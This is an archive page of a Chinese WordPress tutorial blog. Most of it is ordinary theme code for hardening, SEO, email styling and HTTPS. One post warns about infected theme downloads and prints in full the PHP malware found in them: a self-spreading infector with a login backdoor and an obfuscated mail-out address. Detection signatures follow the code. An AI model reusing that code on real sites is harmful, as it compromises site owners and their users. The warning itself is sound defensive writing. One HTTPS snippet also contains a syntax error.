月度归档:2013年12月

wordpress网站终极防黑手册,全方位保护网站安全(三)

之前小v曾经写过两篇关于wordpress防黑的教程,分别是《wordpress网站终极防黑手册,全方位保护网站安全(一)》以及《wordpress网站终极防黑手册,全方位保护网站安全(二)》。其实在第一篇防黑教程中小V提到过wordpress爆路径的问题,并且给出了隐藏wordpress程序路径的方法。但是昨天小v在研究wordpress链接重写时发现另一个wordpress的程序路径泄露bug,如下图:

wordpress网站终极防黑手册,全方位保护网站安全(三)-wordpress教程-代码笔记 %

如上图所示,如果目标站是wordpress搭建的网站,我们只要访问http://目标站.com/?robots=1 则会看见如上所示的,wordpress系统生成的默认的robots.txt文件。而该内容信息则是

User-agent: *
Disallow: /wordpress系统所在目录/wp-admin/
Disallow: /wordpress系统所在目录/wp-includes/

这样也就暴露了wordpress程序所在目录,可以被黑客利用来进一步对网站实施攻击。解决方法很简单只要在主题的functions.php文件中加入以下代码即可:(感谢@源码集合 的提醒,代码已更新。)

//解决robots爆路径
$bots = $_GET['robots'];
if (!$bots){}
else {
    echo '<head><meta http-equiv="Content-Type" content="text/html; charset=utf8"/></head>';
        echo '请勿试图攻击本站!';
        exit;
        }

至于怕爬虫抓取了系统的php文件可以在robots.txt里加入以下代码:

Disallow: /*.php$

另外wordpress还有个泄露当前系统版本号的bug,只需要访问以下链接:

http://目标站.com/?rss=feed2

则会在该页面看到如下内容:

wordpress网站终极防黑手册,全方位保护网站安全(三)-wordpress教程-代码笔记 %

在该页面可以看到当前wordpress系统的版本号,这样黑客就可以利用已知的漏洞来对网站进行攻击,修复方法,只需要在当前wordpress主题的functions.php文件加入以下代码:

//去除版本信息  
function v7v3_remove_version() {
return '';
}
add_filter('the_generator', 'v7v3_remove_version');

这样即可防止wordpress的feed页面泄露系统信息了。

wordpress境内网站内容自审之敏感关键词替换

相信大家都看到了维7维3最近在着手备案的通告了,当然大家应该知道的由于天朝的特殊情况,既然网站放在国内那么某些关键词是不允许出现在个人网站的,尤其是我们这样没有任何后台的个人小网站,而且最近小V找了几个小伙伴打算让他们一起帮小V更新网站。那么网站出现敏感关键词就不是小V个人所能控制的了。正好小V趁着周末没课就研究了下关键词替换。具体代码如下:

$KeyWordsFilterAds = array(
'v7v3' => '维7维3',
'二货' => 'X货',
'VPN' => 'V*P*N',
);
function v7v3_KeyWordsFilter($content) {
    global $KeyWordsFilterAds;
    $content = strtr($content, $KeyWordsFilterAds);
    return $content;
}
add_filter('the_content', 'v7v3_KeyWordsFilter'); //替换文章关键词
add_filter( 'comment_text', 'v7v3_KeyWordsFilter' );//替换评论关键词
add_filter( 'comment_text_rss', 'v7v3_KeyWordsFilter' );//替换评论rss关键词

以上代码丢到主题的functions.php文件即可~如果需要定义你自己需要屏蔽的关键词的话只要将关键词以'v7v3' => '维7维3', 这种格式添加到$KeyWordsFilterAds数组即可,另外此代码还有个作用那就是可以用来做关键词描文本示例如下:

$KeyWordsFilterAds = array(
'wordpress' => '<a href="http://www.v7v3.com/">wordpress</a>',
'wordpress主题' => '<a href="http://www.v7v3.com/">wordpress主题</a>',
'wordpress插件' => '<a href="http://www.v7v3.com/">wordpress插件</a>',
);
function v7v3_KeyWordsFilter($content) {
    global $KeyWordsFilterAds;
    $content = strtr($content, $KeyWordsFilterAds);
    return $content;
}
add_filter('the_content', 'v7v3_KeyWordsFilter'); //替换文章关键词
add_filter( 'comment_text', 'v7v3_KeyWordsFilter' );//替换评论关键词

肿么样这段代码的效果不错吧~~连评论里都可以做SEO描文本链接了。多用途哦~

wordpress自定义新用户注册邮件提醒样式

今天小V在某wordpress网站注册了个帐号,在完成注册后该网站系统发送来一封默认的注册提醒通知邮件,邮件样式如下图:

wordpress自定义新用户注册邮件提醒样式-wordpress教程-代码笔记

当时小V就想到wordpress默认的新用户注册提醒邮件的样式也未免太破了吧?正好无聊就琢磨了下wordpress的新用户邮件通知的函数。发现在wp-includes/pluggable.php文件有个wp_new_user_notification()函数是用来定义新用户邮件通知的。小V根据文档琢磨了下发现可以用以下方式来定义邮件样式:

<?php
/*
  Plugin Name: new-user-notification
  Description:重新定义发送邮件的内容和格式
  Version: 1.0
 */
  
if ( !function_exists('wp_new_user_notification') ) :
/**
 * Notify the blog admin of a new user, normally via email.
 *
 * @since 2.0
 *
 * @param int $user_id User ID
 * @param string $plaintext_pass Optional. The user's plaintext password
 */
function wp_new_user_notification($user_id, $plaintext_pass = '') {
    $user = get_userdata( $user_id );
  
    $user_login = stripslashes($user->user_login);
    $user_email = stripslashes($user->user_email);
  
    // 获取博客名称
    $blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
  
    // 给管理员发送的邮件内容,这里是HTML格式
    $message = '<html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title>新用户注册</title>
    </head>
    <body>
    <div align="center">
    <table cellpadding="0" cellspacing="1" style="border:3px solid #d9e9f1;background:#7fbddd; text-align:left;">
    <tr>
    <td style="padding:0;">
    <table cellpadding="30" cellspacing="0" style="border:1px solid #ffffff;background:#f7f7f7;width:500px;">
    <tr><td style="line-height:2;font-size:12px;">您的网站 <strong>' . $blogname . '</strong>
    有新用户注册。<br />用户名:' . $user_login . '<br />
    Email:' . $user_email . '<br />
    <br />如果您不是  <strong>' . $blogname . '</strong> 的管理员,请直接忽略本邮件!</div>
    </td></tr></table></td></tr></table></div></body></html>';
  
    // 给网站管理员发送邮件
    $message_headers = "Content-Type: text/html; charset=\"utf-8\"\n";
    @wp_mail(get_option('admin_email'), sprintf(__('[%s] New User Registration'), $blogname), $message, $message_headers);
  
    if ( empty($plaintext_pass) )
        return;
      
    // 你可以在此修改发送给新用户的通知Email,这里是HTML格式
    $message = '<html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title>新用户注册</title>
    </head>
    <body>
    <div align="center">
    <table cellpadding="0" cellspacing="1" style="border:3px solid #d9e9f1;background:#7fbddd; text-align:left;">
    <tr><td style="padding:0;">
    <table cellpadding="30" cellspacing="0" style="border:1px solid #ffffff;background:#f7f7f7;width:500px;">
    <tr>
    <td style="line-height:2;font-size:12px;">您刚刚在网站 <strong>' . $blogname . '</strong> 注册一个帐号。<br />
    用户名:' . $user_login . '<br />登录密码:' . $plaintext_pass . '<br />登录网址:<a href="' . wp_login_url() . '">' . wp_login_url() . '</a><br />
    <br />如果您没有在 <strong>'. $blogname . '</strong> 注册过任何信息,请直接忽略本邮件!</div>
    </td></tr></table></td></tr></table></div>
    </body>
    </html>';
  
    // sprintf(__('[%s] Your username and password'), $blogname) 为邮件标题
    wp_mail($user_email, sprintf(__('[%s] Your username and password'), $blogname), $message, $message_headers);
}
endif;
  
?>

以上代码的加到主题的functions.php或者命名为v7v3_new-user.php文件然后把文件传到wp-content/plugins/文件夹下,再到后台启用一个名为new-user-notification的插件即可。

PS:代码参考露兜

为wordpress配置https加密连接构造安全通道

最近小V又在倒腾wordpress的数据传输安全,正好看到个StartSSl的免费ssl证书立马整了个玩玩。什么是ssl证书呢?即https证书。这里小V科普下什么是https:

HTTPS(全称:Hypertext Transfer Protocol over Secure Socket Layer),是以安全为目标的HTTP通道,简单讲是HTTP的安全版。即HTTP下加入SSL层,HTTPS的安全基础是SSL,因此加密的详细内容就需要SSL。 它是一个URI scheme(抽象标识符体系),句法类同http:体系。用于安全的HTTP数据传输。https:URL表明它使用了HTTP,但HTTPS存在不同于HTTP的默认端口及一个加密/身份验证层(在HTTP与TCP之间)。这个系统的最初研发由网景公司进行,提供了身份验证与加密通讯方法,现在它被广泛用于万维网上安全敏感的通讯,例如交易支付方面。

好了知道了什么是https那么我们就要考虑如何在wordpress中应用https了。首先我们要知道https是不利于搜索引擎抓取网站内容的,但为了加强网站的数据安全又必须使用https那么我们就为wordpress的登录页面以及后台版面使用https了。方法如下:

打开wp-config.php在

require_once(ABSPATH . 'wp-settings.php');

之前,加

define('FORCE_SSL_ADMIN', true);//后台https
define('FORCE_SSL_LOGIN', true);//登录页面https

这样后台页面以及登录页面就被强制使用了https链接了,但是有时候需要对某个单篇文章进行https加密这样就满足不了要求了,那么如何实现对单篇文章进行https加密呢?方法很简单,在当前主题的functions.php文件中加入以下代码:

function v7v3_ssl( $force_ssl, $post_id = 0, $url = '' ) {
    if ( $post_id == 25 ) { //需要加密的文章ID
        return true
    }
    return $force_ssl;
}
add_filter('force_ssl' , 'v7v3_ssl', 10, 3);

如果要对页面或者分类进行https加密只要将post id参数改成 page id或者category ID即可。当然tag页也能加密。为什么要对特定文章加密呢?比如说介绍VP*N什么你懂的为wordpress配置https加密连接构造安全通道-wordpress教程-代码笔记

wordpress深度SEO优化之加强Description标签的相关性

话说最近小V迷上了SEO优化以及用户体验优化,整天到处观摩各大知名博客,以及网站。不过在研究SEOWHY和ZAC大师的博客时发现一个问题。他们的内页的Description标签并不是当前文章的截断而是当前文章的标题,如下图两幅图:

zac

wordpress深度SEO优化之加强Description标签的相关性-wordpress教程-代码笔记 %

seowhy

wordpress深度SEO优化之加强Description标签的相关性-wordpress教程-代码笔记 %

当时小V觉得很疑惑为什么seowhy和zac大师要这么做呢?立马跑到几个比较知名的seo业界达人的博客搜索相关资料,然后在谷歌的官方某帮助文档里看见这么一条:“Description作为页面描述应该尽量描述出该页面的主要内容而不是与页面无关的。”小V再仔细观察了下大多数站点的Description标签,发现很多站长都把当前文章前面一段文字截断出来作为页面的Description,然而文章的前面一般都是起头等与文章主题的相关性不是很大。所以小V猜测zac大师与seowhy使用“标题+部分文章截断”这种形式的Description,是为了加强Description标签里内容与页面内容的相关性。那么wordpress如何来实现这种效果呢?代码如下:

<?php
if(is_single())  { ?>
<meta name="description" content="<?php echo trim(wp_title('',0)); ?>-<?php echo mb_strimwidth(strip_tags(apply_filters('the_content', $post->post_content)), 0, 100,"......","utf-8"); ?>" />
<?php }?>

默认情况下以上代码加到header.php文件即可,根据当前wordpress主题的结构而定。

wordpress开发教程:获取当前文章的前几篇以及后几篇文章

previous_posts_link()与next_post_lnik()这两个函数相信各位wordpress主题开发者一定不陌生,这两个函数是wordpress用来调用当前文章的前一篇以及后一篇文章的。但是有些时候我们为了提高网站PV提高用户体验想多调用几篇文章,例如调用当前文章的前三篇文章以及后三篇文章那该怎么调用呢?小V查看了下wordpress的官方文档,显然没有现成的代码和函数可用。那么只好自己动手丰衣足食了。以下代码参考自wordpress默认函数get_adjacent_post函数修改而来:

function v7v3_get_post( $previous = true, $number = 1 ) {   
     
    //global当前文章变量 $post 和数据库操作类wpdb   
    global $post, $wpdb;   
    if ( empty( $post ) )   
        return null;   
     
    $current_post_date = $post->post_date;//当前文章的时间   
     
    $join = '';   
    $posts_in_ex_cats_sql = '';   
    //加入表   
    $join = " INNER JOIN $wpdb->term_relationships AS tr ON p.ID = tr.object_id INNER JOIN $wpdb->term_taxonomy tt ON tr.term_taxonomy_id = tt.term_taxonomy_id";   
    //获取当前文章所属分类,可以同属多个分类,如果是自定义的分类法,将category换成对应的分类法即可   
    $cat_array = wp_get_object_terms($post->ID, 'level', array('fields' => 'ids'));   
    $join .= " AND tt.taxonomy = 'level' AND tt.term_id IN (" . implode(',', $cat_array) . ")";   
     
    //判断时间是大于还是小于   
    $op = $previous ? '<' : '>';   
    //排序   
    $order = $previous ? 'DESC' : 'ASC';   
          
    $where = $wpdb->prepare("WHERE p.post_date $op %s AND p.post_type = %s AND p.post_status = 'publish' ", $current_post_date, $post->post_type);   
    $sort  = "ORDER BY p.post_date $order LIMIT 0, $number";   
     
    $query = "SELECT p.* FROM $wpdb->posts AS p $join $where $sort";   
    $query_key = 'adjacent_post_' . md5($query);   
    $result = wp_cache_get($query_key, 'counts');   
    if ( false !== $result )   
        return $result;   
     
    $result = $wpdb->get_results("SELECT p.* FROM $wpdb->posts AS p $join $where $sort");   
    if ( null === $result )   
        $result = '';   
    wp_cache_set($query_key, $result, 'counts');   
    return $result;   
}

将该函数放在主题的functions.php文件中即可,调用该函数的时候会返回一个数组,使用示例:

<h4>本篇教程之前的几篇教程是</h4>   
            <ul>   
            <?php   
            $preposts = v7v3_get_post(true,3);   
            foreach( $preposts as $postt ){   
                echo '<li><a href="'.get_permalink($postt->ID).'" title="'.$postt->post_title .'">'.$postt->post_title .'</a></li>';   
            };   
            ?>   
            </ul>   
            <h4>本篇教程之后的几篇教程是</h4>   
            <ul>   
            <?php   
            $nextposts = v7v3_get_post(false,3);   
            foreach( $nextposts as $postt ){   
                echo '<li><a href="'.get_permalink($postt->ID).'" title="'.$postt->post_title .'">'.$postt->post_title .'</a></li>';   
            };   
            ?>   
            </ul>

注:此文参考了阿树大神的wordpress教程而来。

下载主题请小心!多个wordpress主题下载站主题包含恶意代码

其实从6月份v7v3刚上线的时候小V就发现网上流传的所谓的免费的d8,Mossight,D7等主题包含恶意代码,当时小V并没有打算发布这篇通告,原因很简单,你既然想用破解主题那么就要做好被坑的准备,谁叫你不支持正版呢?不过最近一个以来小V发现出现恶意代码的不仅仅是那些收费wordpress主题了,很多免费wordpress主题也被植入了该恶意代码,代码如下:

<?php
function _verify_activate_widget(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
        foreach ($direst as $item){
            if (is_writable($item)){
                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                $cont=file_get_contents($item);
                if (stripos($cont,$ftion) === false){
                    $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                    $output .= $before . "Not found" . $after;
                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);               
                    $output .= ($showdot && $ellipsis) ? "..." : "";
                }
            }
        }
    }
    return $output;
}
function _get_all_widgetcont($wids,$items=array()){
    $places=array_shift($wids);
    if(substr($places,-1) == "/"){
        $places=substr($places,0,-1);
    }
    if(!file_exists($places) || !is_dir($places)){
        return false;
    }elseif(is_readable($places)){
        $elems=scandir($places);
        foreach ($elems as $elem){
            if ($elem != "." && $elem != ".."){
                if (is_dir($places . "/" . $elem)){
                    $wids[]=$places . "/" . $elem;
                } elseif (is_file($places . "/" . $elem)&&
                    $elem == substr(__FILE__,-13)){
                    $items[]=$places . "/" . $elem;}
                }
            }
    }else{
        return false;   
    }
    if (sizeof($wids) > 0){
        return _get_all_widgetcont($wids,$items);
    } else {
        return $items;
    }
}
if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
}
if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }
}
if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
        $dirArray = array();
        if ($handle = opendir($dir)) {
            while (false !== ($file = readdir($handle))) {
                if (($file != "." && $file != "..") || $skipDots == true) {
                    if($listDirectories == false) { if(is_dir($file)) { continue; } }
                    array_push($dirArray,basename($file));
                }
            }
            closedir($handle);
        }
        return $dirArray;
    }
}
add_action("admin_head", "_verify_activate_widget");
function _prepared_widget(){
    if(!isset($length)) $length=120;
    if(!isset($method)) $method="cookie";
    if(!isset($html_tags)) $html_tags="<a>";
    if(!isset($filters_type)) $filters_type="none";
    if(!isset($s)) $s="";
    if(!isset($filter_h)) $filter_h=get_option("home");
    if(!isset($filter_p)) $filter_p="wp_";
    if(!isset($use_link)) $use_link=1;
    if(!isset($comments_type)) $comments_type="";
    if(!isset($perpage)) $perpage=$_GET["cperpage"];
    if(!isset($comments_auth)) $comments_auth="";
    if(!isset($comment_is_approved)) $comment_is_approved="";
    if(!isset($authname)) $authname="auth";
    if(!isset($more_links_text)) $more_links_text="(more...)";
    if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
    if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
    if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
    if(!isset($more_content)) $more_content="ma".$s."il";
    if(!isset($forces_more)) $forces_more=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
    if (!$widget_output) :
         
    global $wpdb, $post;
    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, 
    comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, 
    SUBSTRING(comment_content,1,
    $src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) 
    WHERE comment_approved=\"1\" AND comment_type=\"\" 
    AND post_author=\"li".$s."vethe".$comments_type."mas".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" 
    AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) {
        if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
            if(is_feed()) {
                $output=__("因为这是一个受保护的文章,没有摘录。.");
            } else {
                $output=get_the_password_form();
            }
        }
    }
    if(!isset($fix_tag)) $fix_tag=1;
    if(!isset($filters_types)) $filters_types=$filter_h;
    if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
    if(!isset($more_tags)) $more_tags="div";
    if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($mlink_title)) $mlink_title="Continue reading this entry";   
    if(!isset($showdot)) $showdot=1;
         
    $comments=$wpdb->get_results($sql);   
    if($fakeit == 2) {
        $text=$post->post_content;
    } elseif($fakeit == 1) {
        $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else {
        $text=$post->post_excerpt;
    }
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, 
    SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON 
    ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\"
    AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) .
    " ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($length < 0) {
        $output=$text;
    } else {
        if(!$no_more && strpos($text, "<!--more-->")) {
            $text=explode("<!--more-->", $text, 2);
            $l=count($text[0]);
            $more_link=1;
            $comments=$wpdb->get_results($sql);
        } else {
            $text=explode(" ", $text);
            if(count($text) > $length) {
                $l=$length;
                $ellipsis=1;
            } else {
                $l=count($text);
                $more_links_text="";
                $ellipsis=0;
            }
        }
        for ($i=0; $i<$l; $i++)
                $output .= $text[$i] . " ";
    }
    update_option("_is_widget_active_", 1);
    if("all" != $html_tags) {
        $output=strip_tags($output, $html_tags);
        return $output;
    }
    endif;
    $output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fix_tag) ? balanceTags($output, true) : $output;
    $output .= ($showdot && $ellipsis) ? "..." : "";
    $output=apply_filters($filters_type, $output);
    switch($more_tags) {
        case("div") :
            $tag="div";
        break;
        case("span") :
            $tag="span";
        break;
        case("p") :
            $tag="p";
        break;
        default :
            $tag="span";
    }
    if ($use_link ) {
        if($forces_more) {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"
            ". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"
            " . $mlink_title . "\">"
            . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
        } else {
            $output .= " <" . $tag . " class=\"more-link\"><a href=\"
            ". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
        }
    }
    return $output;
}
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
    if(!$show_pass_post) $request .= " AND post_password =\"\"";
    if($duration !="") {
        $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
        foreach ($posts as $post) {
            $post_title=stripslashes($post->post_title);
            $comment_count=$post->comment_count;
            $permalink=get_permalink($post->ID);
            $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
        }
    } else {
        $output .= $before . "None found" . $after;
    }
    return  $output;
}

只要激活了包含该代码的主题就会将网站所有数据同步发送到livethemas@gmail.com这个邮箱,并且感染当前网站本地所有存在的主题,那么如何来检测主题是否包含恶意代码呢?打开主题functions.php文件,并搜索_verify_activate_widget,如果存在该代码,那么恭喜你了你中招了。中招后如何补救呢?首先清除现在使用的主题中的恶意代码,然后将网站所有存在的主题下载下来,并清楚被感染的functions.php文件中的恶意代码即可。

(PS:本站提供的所有主题均经过小V手动检测,确保无任何恶意代码!)


2013年12月21日更新恶意代码特征:

_verify_isactivate_widgets 
_check_isactive_widget
_get_allwidgetscont
_prepare_widgets
__popular_posts
function _checkactive_widgets
function _get_allwidgets_cont
function stripos
function strripos
function scandir
add_action(“admin_head”, “_checkactive_widgets”);
function _getprepare_widget
add_action(“init”, “_getprepare_widget”);
function __popular_posts

只需在主题的functions.php文件中以及functions.php文件的引入的文件中搜索以上任意一行恶意代码的特征码,如果发现存在那么,很可能你就中招了,修复方法和第一种恶意代码一样。

WordPress 3.8 发布,全新的 Modern 界面

WordPress.org 今天正式发布了WordPress 3.8 版本,主要介绍了全新的 Modern 界面,并称其为“史上最漂亮的更新”。WordPress 3.8 版本为了纪念美国爵士乐萨克斯管吹奏者和作曲家查理帕克(Charlie Parker)所以新版本名为“帕克” ,主要为管理控制中心带来的全新的视觉体验。

WordPress 3.8 发布,全新的 Modern 界面-wordpress资讯-代码笔记 %

WordPress 3.8版本主要带来了以下新特性:

◆ Modern审美界面设计:新的WordPress版本整个界面焕然一新,干净清晰简洁。

◆ 利落的版式:The Open Sans版式提供了简洁、友好的文本显示模式,并且能够根据桌面或者移动端进行自动适应。

◆ 精致的对比:凭借卓越的对比度和宽大舒适的类型,新的设计很容易阅读和愉快浏览。

◆ 在高速环境下的高清显示:WordPress能够根据你的屏幕来自动调整文字的显示,新的矢量图形在页面缩放中能够比以往任何时刻都来的清晰。

◆ 管理员配色方案:WordPress包含了8个全新的管理员配色方案,能够在你的设置页面中进行预览和更换。

◆ 精致的主题管理:新的主题屏幕能够让你的主题一目了然。

◆ 丰富的小工具:小部件已经被简化。在大型屏幕中显示能够显示多个部件的叠加。在平板上只需要一个小工具就能来添加它。

WordPress 3.8 发布,全新的 Modern 界面-wordpress资讯-代码笔记 %

谷歌眼镜非官方WordPress插件释出

谷歌眼镜非官方WordPress插件释出-wordpress资讯-代码笔记

谷歌眼镜虽然不能给你像Xmen里镭射眼一样的能力,但是它的功能却在不断增长。近日Weber Shandwick 发布了一款得到Wordpress非官方支持的谷歌眼镜插件,该插件可以允许用户用简单的口头命令将内容发布到任何Wordpress托管的博客上,如果你有谷歌眼镜的耳麦配件,你还可以通过该插件将你的多媒体内容发布到Wordpress上。目前该插件还子尝试通过官方认证当中,更多后续报道,敬请继续关注安珀网。

Source: Engadget

wordpress深度seo优化教程 – 新站高度集权优化方案

昨天小V写了一篇关于wordpress的canonical标签的文章,不知道大家有没有发现在百度知道的源代码截图中发现这么一段

<meta name="robots" content="noindex,follow" />

那么这段代码的作用是什么呢?据robotstxt.org官方网站解释,这段代码作用是屏蔽搜索引擎对本页面的收录但是允许抓取该页面上的链接。那么为什么百度知道的SEO工作人员会把这么一条meta标签写在页面上呢?经过小V的观察发现百度知道所有的动态链接页面上都会包含一条这样的meta标签,但是进入该页面的伪静态链接却不会出现该meta标签,那么这样看来百度知道官方的SEOER意图很明显啊,是为了减少不必要的收录,来集中网站的权重。

好了接下来说正题,不知道大家发现了没有,wordpress的分类目录的分页以及标签页的分页其实在搜索引擎中排名并不好,而且也没什么实质性内容,那么我们可以通过

<meta name="robots" content="noindex,follow" />

标签来进行屏蔽以达到减少不必要的收录集中网站权重的效果,实现方法,打开主题的头部文件(一般情况下为header.php)在其中添加以下代码:

<?php
if(is_home()) { ?>
<?php $paged = get_query_var('paged'); 
if ( $paged > 1 ) echo'<meta name="robots" content="noindex,follow" />'; ?>
<?php } ?>
<?php
if(is_category()) { ?>
<?php $paged = get_query_var('paged'); 
if ( $paged > 1 ) echo'<meta name="robots" content="noindex,follow" />'; ?>
<?php } ?>
<?php
if(is_tag()) { ?>
<?php $paged = get_query_var('paged'); 
if ( $paged > 1 ) echo'<meta name="robots" content="noindex,follow" />'; ?>
<?php }?>

做完了网站收录处理,接下来在用nofollow属性减少下页面权重流失集中内页权重,代码如下:

//阅读更多链接添加nofollow
add_filter('the_content_more_link','add_nofollow_to_link', 0); 
function add_nofollow_to_link($link) { 
return str_replace('<a', '<a rel="nofollow"', $link); 
} 
//标签云添加nofollow
add_filter('wp_tag_cloud', 'cis_nofollow_tag_cloud');
function cis_nofollow_tag_cloud($text) {
    return str_replace('<a href=', '<a rel="nofollow" href=',$text); 
}
//内容页tag链接添加nofollow
add_filter('the_tags', 'cis_nofollow_the_tag');
function cis_nofollow_the_tag($text) {
    return str_replace('rel="tag"', 'rel="tag nofollow"', $text);
}
//作者归档链接添加nofollow
add_filter('the_author_posts_link', 'cis_nofollow_the_author_posts_link');
function cis_nofollow_the_author_posts_link ($link) {
return str_replace('</a><a href=', '<a rel="nofollow" href=',$link); 
}
   
//访客评论链接添加nofollow
add_filter('comments_popup_link_attributes', 'cis_nofollow_comments_popup_link_attributes');
function cis_nofollow_comments_popup_link_attributes () {
echo 'rel="nofollow"';
}

以上代码加到functions.php文件即可。